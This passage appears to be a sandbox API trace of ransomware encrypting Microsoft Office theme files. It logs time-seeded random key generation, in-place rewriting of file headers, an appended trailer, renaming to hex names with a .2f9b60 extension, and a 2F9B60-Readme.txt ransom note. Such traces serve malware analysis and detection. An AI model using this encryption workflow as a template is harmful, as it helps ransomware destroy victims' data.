_Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.759] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65970) returned 1 Thread: id = 1085 os_tid = 0x179c [0111.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0111.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx", dwFileAttributes=0x20) returned 1 [0111.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.723] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x3428fe40 | out: lpFileSize=0x3428fe40*=23692) returned 1 [0111.723] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x5c88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.723] ReadFile (in: hFile=0x1574, lpBuffer=0x3428fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3428fe08, lpOverlapped=0x0 | out: lpBuffer=0x3428fdc0*, lpNumberOfBytesRead=0x3428fe08*=0x4, lpOverlapped=0x0) returned 1 [0111.727] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0111.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0111.728] NtQuerySystemTime (in: CurrentTime=0x3428fd00 | out: CurrentTime=0x3428fd00*=132462177172102000) returned 0x0 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x6af1e2b1 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x7834d81 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x440488b8 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x2e4990c8 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x730a7c50 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3f4309e7 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x46e92580 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x7bc66477 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3c79815d [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x31c33519 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x5f11b7bc [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x473ea044 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x795378e2 [0111.728] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x7d98baf1 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x4fe0c782 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x6acadbcf [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3452453 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3f2eac0f [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x4643fb [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x702c341 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x2e05aea9 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x2b120502 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x1736b414 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3a26f806 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0xd2b1d07 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x5fcb220 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3ece464e [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x452371ed [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x3b418e92 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x5ce77371 [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x101f32be [0111.729] RtlRandomEx (in: Seed=0x3428fcf0 | out: Seed=0x3428fcf0) returned 0x6ad11c1 [0111.739] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.739] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3428fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x3428fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.755] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0111.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0111.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0111.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0111.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0111.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.756] WriteFile (in: hFile=0x1574, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3428fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x3428fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a80e0 [0111.762] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.762] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3428fe10, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3428fe10*=0x10a, lpOverlapped=0x0) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0111.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a80b0) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0111.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fd70 [0111.764] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="6d") returned 2 [0111.764] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="cd") returned 2 [0111.764] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="e4") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="0a") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="64") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="70") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="50") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="53") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="1e") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="7a") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="ef") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="94") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="c3") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="fb") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="68") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="a0") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="27") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="d3") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="98") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd98, _Format="%c%c" | out: _Dest="d2") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd9a, _Format="%c%c" | out: _Dest="45") returned 2 [0111.765] sprintf (in: _Dest=0x1cd9fd9c, _Format="%c%c" | out: _Dest="c0") returned 2 [0111.766] sprintf (in: _Dest=0x1cd9fd9e, _Format="%c%c" | out: _Dest="40") returned 2 [0111.766] RtlInitAnsiString (in: DestinationString=0x3428fe88, SourceString="6dcde40a6470f750531e7aef94c3fb68a027d398d245c040" | out: DestinationString="6dcde40a6470f750531e7aef94c3fb68a027d398d245c040") [0111.766] RtlAnsiStringToUnicodeString (in: DestinationString=0x3428fe58, SourceString="6dcde40a6470f750531e7aef94c3fb68a027d398d245c040", AllocateDestinationString=1 | out: DestinationString="6dcde40a6470f750531e7aef94c3fb68a027d398d245c040") returned 0x0 [0111.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0111.766] wcscat (in: _Dest=0x20279df0, _Source="6dcde40a6470" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470" [0111.766] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470.2f9b60" [0111.766] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470.2f9b60", NtPathName=0x3428fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6dcde40a6470.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0111.766] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3428fed0, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0111.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.768] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x3428fe98, FileInformation=0x3428fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3428fe98, FileInformation=0x3428fea8) returned 0x0 [0111.769] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3428fe98, FileInformation=0x3428fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0111.793] FlushFileBuffers (hFile=0x1574) returned 1 [0111.875] CloseHandle (hObject=0x1574) returned 1 [0111.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.876] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.876] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65a20) returned 1 Thread: id = 1086 os_tid = 0x17a0 [0111.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0111.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx", dwFileAttributes=0x20) returned 1 [0111.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.773] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x33fcfc60 | out: lpFileSize=0x33fcfc60*=41295) returned 1 [0111.774] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xa14b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.774] ReadFile (in: hFile=0x160c, lpBuffer=0x33fcfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33fcfc28, lpOverlapped=0x0 | out: lpBuffer=0x33fcfbe0*, lpNumberOfBytesRead=0x33fcfc28*=0x4, lpOverlapped=0x0) returned 1 [0111.776] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0111.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0111.776] NtQuerySystemTime (in: CurrentTime=0x33fcfb20 | out: CurrentTime=0x33fcfb20*=132462177172570000) returned 0x0 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x1951ec27 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x43d1b0f4 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x60532b18 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x7b1d38a4 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x69428f4f [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x741508d4 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x245792ce [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x409cdf69 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x10d88cf8 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x69434213 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x2993ff3a [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x6df077bf [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x58c213ed [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0xe8cb5d3 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x1ce4531 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x5b384a06 [0111.776] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0xa3e1c84 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x526c8edc [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x2550b67b [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x7d98da9 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x3742fb1f [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x34ce0bee [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x7b0f381d [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x2f3892ba [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x71c42253 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x7711c797 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x681e2675 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x330bccda [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x6770f1ac [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x66af93c6 [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x11238c1c [0111.777] RtlRandomEx (in: Seed=0x33fcfb10 | out: Seed=0x33fcfb10) returned 0x2381fd10 [0111.789] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.789] ReadFile (in: hFile=0x160c, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33fcfb80, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33fcfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.791] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0111.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0111.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.792] WriteFile (in: hFile=0x160c, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33fcfb80, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33fcfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262f90 [0111.795] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.795] WriteFile (in: hFile=0x160c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33fcfc30, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x33fcfc30*=0x108, lpOverlapped=0x0) returned 1 [0111.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0111.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0111.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0111.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0111.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0111.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0111.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fd70 [0111.821] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="89") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="7a") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="bf") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="55") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="25") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="5a") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="1f") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="63") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="ad") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="ef") returned 2 [0111.824] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="f5") returned 2 [0111.825] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.859] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="ad") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="4a") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="e9") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="1f") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="23") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd98, _Format="%c%c" | out: _Dest="6b") returned 2 [0111.866] sprintf (in: _Dest=0x1cd9fd9a, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.866] RtlInitAnsiString (in: DestinationString=0x33fcfca8, 